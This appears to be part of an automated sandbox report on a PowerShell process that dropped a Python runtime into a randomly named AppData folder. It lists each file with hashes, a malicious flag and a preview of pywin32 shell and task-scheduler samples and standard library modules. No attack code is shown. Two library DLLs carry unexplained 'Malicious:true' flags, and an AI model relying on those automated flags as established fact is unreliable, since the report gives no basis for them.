              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\folder_view.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):29247
              Entropy (8bit):4.938884861532685
              Encrypted:false
              SSDEEP:
              MD5:0E71355BB9312A57448321D14BF6A53A
              SHA1:BE142CBF9C2026CD65B869C67FB9E00DBFE44D60
              SHA-256:7505ACB133C8815E2654024CA06034269EAE8932B8DC4F958658763BE9A6A715
              SHA-512:DADBA748D6B65E8C339EADD94BFFCCB346DBE8164AC28493856E65CD94E19BCD250C8105BB8BAFBED5235EDBF4D6E86076B155C9E42B02D8FE6303326BCA6CC1
              Malicious:false
              Reputation:unknown
              Preview:# This is a port of the Vista SDK "FolderView" sample, and associated.# notes at http://shellrevealed.com/blogs/shellblog/archive/2007/03/15/Shell-Namespace-Extension_3A00_-Creating-and-Using-the-System-Folder-View-Object.aspx.# A key difference to shell_view.py is that this version uses the default.# IShellView provided by the shell (via SHCreateShellFolderView) rather.# than our own..# XXX - sadly, it doesn't work quite like the original sample. Oh well,.# another day....import os.import pickle.import random.import sys..import commctrl.import pythoncom.import win32api.import win32con.import winerror.import winxpgui as win32gui # the needs vista, let alone xp!.from win32com.axcontrol import axcontrol # IObjectWithSite.from win32com.propsys import propsys.from win32com.server.exception import COMException.from win32com.server.util import NewEnum as _NewEnum, wrap as _wrap.from win32com.shell import shell, shellcon.from win32com.util import IIDToInterfaceName..GUID = pythoncom.MakeII

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\icon_handler.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2550
              Entropy (8bit):4.94557116783642
              Encrypted:false
              SSDEEP:
              MD5:1CECD9EEC5CEC1055C24FFC54DFC5328
              SHA1:111E67D9EB7A37224EFA5FB38A0744AB25184C9F
              SHA-256:8D581DD890F7B32A507C71F73629C1ABF19D96A41BF1124354BCC32F958159B3
              SHA-512:2EDAFBCCA344D037D6FCBBB53F3C35EE0A7688F52CB7BE091739B983CC4106BA9864AA3FD3807C33E817C35594B33F6D051A8186A7F53CACF64F1ED6D8B9E5AE
              Malicious:false
              Reputation:unknown
              Preview:# A sample icon handler. Sets the icon for Python files to a random.# ICO file. ICO files are found in the Python directory - generally there will.# be 3 icons found..#.# To demostrate:.# * Execute this script to register the context menu..# * Open Windows Explorer, and browse to a directory with a .py file..# * Note the pretty, random selection of icons!.# Use glob to locate ico files, and random.choice to pick one..import glob.import os.import random.import sys..import pythoncom.import win32gui.import winerror.from win32com.shell import shell, shellcon..ico_files = glob.glob(os.path.join(sys.prefix, "*.ico")).if not ico_files:. ico_files = glob.glob(os.path.join(sys.prefix, "PC", "*.ico")).if not ico_files:. print("WARNING: Can't find any icon files")..# Our shell extension..IExtractIcon_Methods = "Extract GetIconLocation".split().IPersistFile_Methods = "IsDirty Load Save SaveCompleted GetCurFile".split()...class ShellExtension:. _reg_progid_ = "Python.ShellExtension.IconH

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\servers\shell_view.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):37215
              Entropy (8bit):4.690608193285492
              Encrypted:false
              SSDEEP:
              MD5:697E8D44C0EE4041BC79C33A17B228AA
              SHA1:D2541E30F9FC436C6AFB07F3883517726248F153
              SHA-256:A9DA5A6CCA9AAC3D03152A3D5B6330194921681960B7502CF96E84B1A323BC97
              SHA-512:99B986AB15DAF751D90E7469D57631147DAF2DA8973442E094855B797394D59C0E2A031FAB6FA5EEA8A00701E104CF47E7AE3F8DF0FA8EC49F1573E7966794BB
              Malicious:false
              Reputation:unknown
              Preview:# A sample shell namespace view..# To demostrate:.# * Execute this script to register the namespace..# * Open Windows Explorer, and locate the new "Python Path Shell Browser".# folder off "My Computer".# * Browse this tree - .py files are shown expandable, with classes and.# methods selectable. Selecting a Python file, or a class/method, will.# display the file using Scintilla..# Known problems:.# * Classes and methods don't have icons - this is a demo, so we keep it small.# See icon_handler.py for examples of how to work with icons..#.#.# Notes on PIDLs.# PIDLS are complicated, but fairly well documented in MSDN. If you need to.# do much with these shell extensions, you must understand their concept..# Here is a short-course, as it applies to this sample:.# A PIDL identifies an item, much in the same way that a filename does.# (however, the shell is not limited to displaying "files")..# An "ItemID" is a single string, each being an item in the hierarchy..# A "PIDL" is a list

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\shellexecuteex.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):470
              Entropy (8bit):4.979151668013883
              Encrypted:false
              SSDEEP:
              MD5:E847821591C91355F1ABCAD2BC14ED89
              SHA1:A01B49F131FA10A07D8C48B2E298CBE7D6022BA2
              SHA-256:5A1AC89AD95E161C7E4DFC3A9A3A5C6F8B9E00478998B9FB2583C01ADF262763
              SHA-512:90DC99086B780C371837EC78232B57530E27301B4270296F99A6FE33199C1C532B1E0D67F6EF7FC99344AB6F3DA2817E48A789A41D33E871C60C51D071FC5601
              Malicious:false
              Reputation:unknown
              Preview:import win32con.from win32com.shell import shell, shellcon...def ExplorePIDL():. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). print("The desktop is at", shell.SHGetPathFromIDList(pidl)). shell.ShellExecuteEx(. fMask=shellcon.SEE_MASK_NOCLOSEPROCESS,. nShow=win32con.SW_NORMAL,. lpClass="folder",. lpVerb="explore",. lpIDList=pidl,. ). print("Done!")...if __name__ == "__main__":. ExplorePIDL().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\viewstate.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2318
              Entropy (8bit):4.559422897162152
              Encrypted:false
              SSDEEP:
              MD5:5E1EA5F5941BDC53352F26ED5C5ABDC1
              SHA1:F0B88CCA4B5962FFBD1F768181BC1EF1910FC3C1
              SHA-256:14006951D85CA90B277C1FFB763BE3FA736641FD9864A6E619900A471AC130CE
              SHA-512:9A79C0AD4134337F4519C140C7404596784FC8427442C0777216F8EEC4109BB248B2F3AC2FD1E9F5163B2F9FF7AE412258BDAE32A7E478C92CB8E338761B0440
              Malicious:false
              Reputation:unknown
              Preview:""".Demonstrates how to propagate a folder's view state to all its subfolders.The format of the ColInfo stream is apparently undocumented, but.it can be read raw from one folder and copied to another's view state.."""..import os.import sys..import pythoncom.from win32com.shell import shell, shellcon..template_folder = os.path.split(sys.executable)[0].print("Template folder:", template_folder).template_pidl = shell.SHILCreateFromPath(template_folder, 0)[0].template_pb = shell.SHGetViewStatePropertyBag(. template_pidl,. "Shell",. shellcon.SHGVSPB_FOLDERNODEFAULTS,. pythoncom.IID_IPropertyBag,.)..# Column info has to be read as a stream.# This may blow up if folder has never been opened in Explorer and has no ColInfo yet.template_iunk = template_pb.Read("ColInfo", pythoncom.VT_UNKNOWN).template_stream = template_iunk.QueryInterface(pythoncom.IID_IStream).streamsize = template_stream.Stat()[2].template_colinfo = template_stream.Read(streamsize)...def update_colinfo(not_used, di

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\demos\walk_shell_folders.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):669
              Entropy (8bit):4.4561315141191296
              Encrypted:false
              SSDEEP:
              MD5:4391682FCB87F8669A3B9141B42681DF
              SHA1:C368535BF2989C4734E885F1070F67D0A3F3700E
              SHA-256:617503784C0BF008A40515717BEFD8823A6C3D686D002EDD3167352EDDDF9D3B
              SHA-512:C654B53FE020A44C66F2571085E5C2A5FB7A5153174BDBF4385927CD76C1AD25CEE6B52F7D868607A4613F2FAC767E44C1FD2AC4C3718EC49377F891E8A6003A
              Malicious:false
              Reputation:unknown
              Preview:# A little sample that walks from the desktop into child.# items..from win32com.shell import shell, shellcon...def walk(folder, depth=2, indent=""):. try:. pidls = folder.EnumObjects(0, shellcon.SHCONTF_FOLDERS). except shell.error:. # no items. return. for pidl in pidls:. dn = folder.GetDisplayNameOf(pidl, shellcon.SHGDN_NORMAL). print(indent, dn). if depth:. try:. child = folder.BindToObject(pidl, None, shell.IID_IShellFolder). except shell.error:. pass. else:. walk(child, depth - 1, indent + " ")...walk(shell.SHGetDesktopFolder()).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\shell.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):407552
              Entropy (8bit):6.703998786147557
              Encrypted:false
              SSDEEP:
              MD5:57A6C3C480A7B994DB367739652CD37C
              SHA1:6B776244197E13609D02704576FA693A808D651E
              SHA-256:909AAE7180329F4297111D29966CA6C73C0354540BE62D68B00072712508210D
              SHA-512:D043F1760027544A8319693121AE46F93383AE051ABD1C556779223EBB4014ED40553E69272F50C1A45CB39E5DB7A20C84D37FD4025FCC7F21DDD841CE5CFC49
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W...............................................s............................."......................Rich...........PE..L......d...........!................Xl....................................................@..........................W..L....W..........L...........................D...T...............................@............................................text...{........................... ..`.rdata..............................@..@.data... o.......8...h..............@....rsrc...L...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\shellcon.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):49361
              Entropy (8bit):5.4774347642005035
              Encrypted:false
              SSDEEP:
              MD5:D91E3C8D5BA6BEFA1E32B8854681545A
              SHA1:1FE0190385E16A9A8CD5F26C0AE45CECC09E3D23
              SHA-256:21E5294BCF830F00B4FAB35E3BB0AC65040979A17EC0DDD7E71830FA6BA4A151
              SHA-512:E5FFA245D8096A1D070B2FBEEED7D354A476070CD1A0A15ED382B899E9CB2EA59A6E00836ECE568C060386EE53E533775031F9AC5767A59EC2CF5826E1F3999E
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from \mssdk\include\shlobj.h and shellapi.h.WM_USER = 1024.DROPEFFECT_NONE = 0.DROPEFFECT_COPY = 1.DROPEFFECT_MOVE = 2.DROPEFFECT_LINK = 4.DROPEFFECT_SCROLL = -2147483648..FO_MOVE = 1.FO_COPY = 2.FO_DELETE = 3.FO_RENAME = 4..## File operation flags used with shell.SHFileOperation.FOF_MULTIDESTFILES = 1.FOF_CONFIRMMOUSE = 2.FOF_SILENT = 4.FOF_RENAMEONCOLLISION = 8.FOF_NOCONFIRMATION = 16.FOF_WANTMAPPINGHANDLE = 32.FOF_ALLOWUNDO = 64.FOF_FILESONLY = 128.FOF_SIMPLEPROGRESS = 256.FOF_NOCONFIRMMKDIR = 512.FOF_NOERRORUI = 1024.FOF_NOCOPYSECURITYATTRIBS = 2048.FOF_NORECURSION = 4096.FOF_NO_CONNECTED_ELEMENTS = 8192.FOF_WANTNUKEWARNING = 16384.FOF_NORECURSEREPARSE = 32768.FOF_NO_UI = FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR..## Extended file operation flags, used with IFileOperation.FOFX_NOSKIPJUNCTIONS = 0x00010000.FOFX_PREFERHARDLINK = 0x00020000.FOFX_SHOWELEVATIONPROMPT = 0x00040000.FOFX_EARLYFAILURE = 0x00100000.FOFX_PRESERVEFILEEXTENSIONS =

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\test\testSHFileOperation.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2092
              Entropy (8bit):4.672051600836994
              Encrypted:false
              SSDEEP:
              MD5:860B68CEEFE01EBF3172AC16EAFEBC8B
              SHA1:5E39F0FF2A62C3F05C7DB20D4B4D269B720E9D1E
              SHA-256:E76D257B02B747C6C36EC85EC4B7BF086895BA4FF90C366716E2C0462291082B
              SHA-512:6A1C0A5E8324AAF1796C3B3F4E5DB5FD1B82B8FAEC60229377D60E0296BC2C3A56E5BDDD733C202D3FA769B55E79BB929909EF47418EDC06DE975546DE9D5EDF
              Malicious:false
              Reputation:unknown
              Preview:import os..import win32api.from win32com.shell import shell, shellcon...def testSHFileOperation(file_cnt):. temp_dir = os.environ["temp"]. orig_fnames = [. win32api.GetTempFileName(temp_dir, "sfo")[0] for x in range(file_cnt). ]. new_fnames = [. os.path.join(temp_dir, "copy of " + os.path.split(orig_fnames[x])[1]). for x in range(file_cnt). ].. pFrom = "\0".join(orig_fnames). pTo = "\0".join(new_fnames).. shell.SHFileOperation(. (. 0,. shellcon.FO_MOVE,. pFrom,. pTo,. shellcon.FOF_MULTIDESTFILES | shellcon.FOF_NOCONFIRMATION,. ). ). for fname in orig_fnames:. assert not os.path.isfile(fname).. for fname in new_fnames:. assert os.path.isfile(fname). shell.SHFileOperation(. (. 0,. shellcon.FO_DELETE,. fname,. None,. shellcon.FOF_NOCONFIRMATION | shellcon.FOF_NOE

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\test\testShellFolder.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):582
              Entropy (8bit):5.0916106849298854
              Encrypted:false
              SSDEEP:
              MD5:9C32B68A70FFACC40DC0B035437EC4F5
              SHA1:35693171E5D23088E042735AA5FEC02F57365295
              SHA-256:D9516D3471E7EB9FBD3B5DC921FB9711AA2ED16C8EC1BB0BFC973D024C8A2649
              SHA-512:92B01330F1DAD4CA5E3DCA62013F817A2C139ADE275052CEFD6DB5A4CAFAF59374219A9567A0521715B081F0BE02091D84A0E42B8720AEAE4F67477B9D33BA5E
              Malicious:false
              Reputation:unknown
              Preview:from win32com.shell import shell.from win32com.shell.shellcon import *..sf = shell.SHGetDesktopFolder().print("Shell Folder is", sf)..names = [].for i in sf: # Magically calls EnumObjects. name = sf.GetDisplayNameOf(i, SHGDN_NORMAL). names.append(name)..# And get the enumerator manually.enum = sf.EnumObjects(0, SHCONTF_FOLDERS | SHCONTF_NONFOLDERS | SHCONTF_INCLUDEHIDDEN).num = 0.for i in enum:. num += 1.if num != len(names):. print("Should have got the same number of names!?").print("Found", len(names), "items on the desktop").for name in names:. print(name).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\test\testShellItem.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2891
              Entropy (8bit):4.819588436655301
              Encrypted:false
              SSDEEP:
              MD5:D038D3E80DA35B8BFB6E0260AAE3EA65
              SHA1:9B11D9E41F1D2AFADA8FDAA442495F24C76E07CA
              SHA-256:F3B9315D2A7593F318E80DB2D26A9EA34BD740F1DD0B0B2BE636F87DDCF1E7A4
              SHA-512:0FFC7D1CA7A4E578B7BFAE801A21309F5B1474C8450FBFED193D9720DAD5DD441C3F35E7BB0D04377FF2F0AA08DCF58BE0E4288743F2ED559F7C661EA7152D41
              Malicious:false
              Reputation:unknown
              Preview:# Test IShellItem and related interfaces.import unittest..from win32com.shell import knownfolders, shell, shellcon...class TestShellItem(unittest.TestCase):. def assertShellItemsEqual(self, i1, i2):. n1 = i1.GetDisplayName(shellcon.SHGDN_FORPARSING). n2 = i2.GetDisplayName(shellcon.SHGDN_FORPARSING). self.assertEqual(n1, n2).. def test_idlist_roundtrip(self):. pidl = shell.SHGetSpecialFolderLocation(0, shellcon.CSIDL_DESKTOP). item = shell.SHCreateItemFromIDList(pidl, shell.IID_IShellItem). pidl_back = shell.SHGetIDListFromObject(item). self.assertEqual(pidl, pidl_back).. def test_parsing_name(self):. sf = shell.SHGetDesktopFolder(). flags = shellcon.SHCONTF_FOLDERS | shellcon.SHCONTF_NONFOLDERS. children = sf.EnumObjects(0, flags). child_pidl = next(children). name = sf.GetDisplayNameOf(child_pidl, shellcon.SHGDN_FORPARSING).. item = shell.SHCreateItemFromParsingName(name, None, shell.I

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):38912
              Entropy (8bit):6.209295804436407
              Encrypted:false
              SSDEEP:
              MD5:57BDBDA66860FD7D36C6FBB55A9A37A5
              SHA1:A9EC10549864C9B94CED55CB7E1FCA01BEF53758
              SHA-256:FF483CC27CE94EE7BFC17256888E2BF6EF6951CBACEC28EB31AE8529C61E0F27
              SHA-512:B3241E06A4CCB8E7AA74373CECC106635A8E5750A89146E105DAE34B4C437BC8254AA4AC3DEA1F823A8EED8E222E8F1DD91B42B29E3A8118FB1256D624929F4B
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........%...Dw..Dw..Dw..<..Dw..1v..Dw..1r..Dw..1s..Dw..1t..Dw.{-v..Dw..1v..Dw../v..Dw..Dv..Dw../p..Dw..1~..Dw..1w..Dw..1u..Dw.Rich.Dw.........PE..L......d...........!.....J...J......9J.......`............................................@.............................p...............l............................y..T...........................Xy..@............`...............................text....I.......J.................. ..`.rdata...1...`...2...N..............@..@.data...............................@....rsrc...l...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\test\test_addtask.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2212
              Entropy (8bit):5.260377440140583
              Encrypted:false
              SSDEEP:
              MD5:679BFEFC3ED4A729A42B80D0281C5501
              SHA1:6C27A02D21C8C28378AAA4E0F376C53BE6054637
              SHA-256:1928FE18B0131BC8930E2D751952CB446F8E20A8DD3FC5118BF4848784452F2B
              SHA-512:7B844350AC794D4DB83A719BF83DC12A355A0731A693037D82A0CC7133BD3C531B679BE9D76C20AB157D3CC2D1A5CEB85730856B2E7DE4C54AF25A1265B883E3
              Malicious:false
              Reputation:unknown
              Preview:import os.import sys.import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("rude comments").t.SetApplicationName(sys.executable).t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters(. "-c\"import win32ui,time;win32ui.MessageBox('hey bubba I am running');\"".).t.SetWorkingDirectory(os.path.dirname(sys.executable)).t.SetCreator("test_addtask.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE | taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).## |taskscheduler.TASK_FLAG_DELETE_WHEN_DONE) #task

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_1.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2154
              Entropy (8bit):5.225976928607513
              Encrypted:false
              SSDEEP:
              MD5:023725FB08327B0F93297B41A9864D52
              SHA1:6F940064603449C018FFEA45DB3C58A4EAE996B2
              SHA-256:56555B38692A77E58FB1824A225B45E4FEBC68E018DE8CAF9D77EFF84413A746
              SHA-512:45C92B1D846E706FF85C18203CC7D75162E2CFCF93287ADF62FE23726084D07D2CF6F4B8EE3FBC4ED296A6A8E7B36C7364EF5DE16C7C6684C6486B2011473506
              Malicious:false
              Reputation:unknown
              Preview:import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..test_task_name = "test_addtask_1.job"..ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.)..tasks = ts.Enum().for task in tasks:. print(task).if test_task_name in tasks:. print("Deleting existing task " + test_task_name). ts.Delete(test_task_name)..new_task = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTask,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITask,.).ts.AddWorkItem(test_task_name, new_task) ## task object is modified in place..new_task.SetFlags(. taskscheduler.TASK_FLAG_INTERACTIVE | taskscheduler.TASK_FLAG_RUN_ONLY_IF_LOGGED_ON.).new_task.SetIdleWait(1, 10000).new_task.SetComment("test task with idle trigger").new_task.SetApplicationName("c:\\python23\\python.exe").new_task.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).new_ta

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_2.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):1682
              Entropy (8bit):5.152366525783661
              Encrypted:false
              SSDEEP:
              MD5:BDB96A0A73DC75AC451A280D91D8087B
              SHA1:2C9CB9503888F1C91150EE8E55A3ACD65E2F81EB
              SHA-256:FEA2A60A9EFB8E371780FEAC140C0056D9C5D6FE0AD55D9ECD613B596A520C33
              SHA-512:5A1B472F6DC3F73197B7F16E3E09B7371F73F02B763FB96F9FAA66F8575F12CEEB3CA2E7DEAE9BD6C88A419D92B5A94D0DFE82E9903DA8E0D462A7F38C52BA32
              Malicious:false
              Reputation:unknown
              Preview:import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask_2.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("Test a task running as local system acct").t.SetApplicationName("c:\\python23\\python.exe").t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters("test_localsystem.py").t.SetWorkingDirectory("c:\\python23").t.SetCreator("test_addtask_2.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(taskscheduler.TASK_FLAG_DELETE_WHEN_DONE).t.SetAccountInformation(. "", None.) ## empty string for account name means to use local system.## None is only valid for local system acct or if task flags contain

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\test\test_localsystem.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):72
              Entropy (8bit):4.611896313876683
              Encrypted:false
              SSDEEP:
              MD5:9BE57453C83E5AEEE160A8BC8B6A5B7D
              SHA1:C33638E52DBC2FE9D0D28B7937EB42279F9A9FD8
              SHA-256:C8C6DBA0D2ECE4AE7509A03A915D4331502156A21C854929ACE2342B997ACA5F
              SHA-512:01245FB0D4B4D30348018B710B7D5A041E42759C2F2D1FA4CB9BDDB56C5C9E6CE13371A19F9C6CFAF29573B658827E79496DF6A4B064638631B42846F5712076
              Malicious:false
              Reputation:unknown
              Preview:f = open("test_localsystem.txt", "w").f.write("I have run\n").f.close().

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):23261
              Entropy (8bit):4.664005598458198
              Encrypted:false
              SSDEEP:
              MD5:23CF5B302F557F7461555A35A0DC8C15
              SHA1:50DAAC7D361CED925B7FD331F46A3811B2D81238
              SHA-256:73607E7B809237D5857B98E2E9D503455B33493CDE1A03E3899AA16F00502D36
              SHA-512:E3D8449A8C29931433DFB058AB21DB173B7AED8855871E909218DA0C36BEB36A75D2088A2D6DD849EC3E66532659FDF219DE00184B2651C77392994C5692D86B
              Malicious:false
              Reputation:unknown
              Preview:"""Append module search paths for third-party packages to sys.path.....****************************************************************..* This module is automatically imported during initialization. *..****************************************************************....This will append site-specific paths to the module search path. On..Unix (including Mac OSX), it starts with sys.prefix and..sys.exec_prefix (if different) and appends..lib/python<version>/site-packages...On other platforms (such as Windows), it tries each of the..prefixes directly, as well as with lib/site-packages appended. The..resulting directories, if they exist, are appended to sys.path, and..also inspected for path configuration files.....If a file named "pyvenv.cfg" exists one directory above sys.executable,..sys.prefix and sys.exec_prefix are set to that directory and..it is also checked for site-packages (sys.base_prefix and..sys.base_exec_prefix will always be the "real" prefixes of the Python..installation

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\smtpd.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):36144
              Entropy (8bit):4.545888734589651
              Encrypted:false
              SSDEEP:
              MD5:DE2ABF7E7E5C09972A5A181580AA182F
              SHA1:02DB16013DF9343CDA71C26D24F9BC77C05FEB64
              SHA-256:A1F374DC10CF17C6C69B5A236E7E6E1F3B909A88E737C3C555AB2492036D71C0
              SHA-512:DA24EBE9D406608B17BF34714CE0477D35CEFACFCBFD250D7C0FAE7EB91ED915CAFD37BD0CA7FC6AE3523D07D1BF0529E61B9CBD5A23A97D8FF0C8E20F25006F
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3.."""An RFC 5321 smtp proxy with optional RFC 1870 and RFC 6531 extensions.....Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]....Options:.... --nosetuid.. -n.. This program generally tries to setuid `nobody', unless this flag is.. set. The setuid call will fail if this program is not run as root (in.. which case, use this flag)..... --version.. -V.. Print the version number and exit..... --class classname.. -c classname.. Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by.. default..... --size limit.. -s limit.. Restrict the total size of the incoming message to "limit" number of.. bytes via the RFC 1870 SIZE extension. Defaults to 33554432 bytes..... --smtputf8.. -u.. Enable the SMTPUTF8 extension and behave as an RFC 6531 smtp proxy..... --debug.. -d.. Turn on debugging prints..... --help.. -h..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\smtplib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):46558
              Entropy (8bit):4.473746236373843
              Encrypted:false
              SSDEEP:
              MD5:C3ABC5CDD8659418068B809948A7E7B8
              SHA1:EEB64EF5A0E91B6644F1B9AF10C32A1E92C642C1
              SHA-256:8B38C3B9019C810D4164A88D4C4D2A294D5181814B03B624A5B0EDB19C638166
              SHA-512:0B8BA051F43D74F187F03DB395E90A9773CFD97562D0B91F619008740794D20E14E4C0772287822BBB634A193D40710EA5683F9FE9B086A4E8999D34F1F39E69
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3....'''SMTP/ESMTP client class.....This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP..Authentication) and RFC 2487 (Secure SMTP over TLS).....Notes:....Please remember, when doing ESMTP, that the names of the SMTP service..extensions are NOT the same thing as the option keywords for the RCPT..and MAIL commands!....Example:.... >>> import smtplib.. >>> s=smtplib.SMTP("localhost").. >>> print(s.help()).. This is Sendmail version 8.8.4.. Topics:.. HELO EHLO MAIL RCPT DATA.. RSET NOOP QUIT HELP VRFY.. EXPN VERB ETRN DSN.. For more info use "HELP <topic>"... To report bugs in the implementation send email to.. sendmail-bugs@sendmail.org... For local information send email to Postmaster at your site... End of HELP info.. >>> s.putcmd("vrfy","someone@here").. >>> s.getreply().. (250, "Somebody OverHere <somebody@here.my.org>").. >>> s.quit()..'''....# Author: The Dragon De Monsyne <drago

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\sndhdr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7356
              Entropy (8bit):4.8280737034749075
              Encrypted:false
              SSDEEP:
              MD5:CB6A9C7DE3FF807AD0359C739908DEAD
              SHA1:283771E021D9DE729817336C15887841CE16859F
              SHA-256:A1424AA73094E2F88E749D5ABFECF79941C4B3213881FF68C4AB7D54702ED9B5
              SHA-512:7D806E7AA640D5C529837F58F9B4168D416F76A9BF6B7CACB98988387FCAF3565D7CCF4D1EA9CCA4DDC6643AD15F76883250C4BE016F592A387A9CC7083F051F
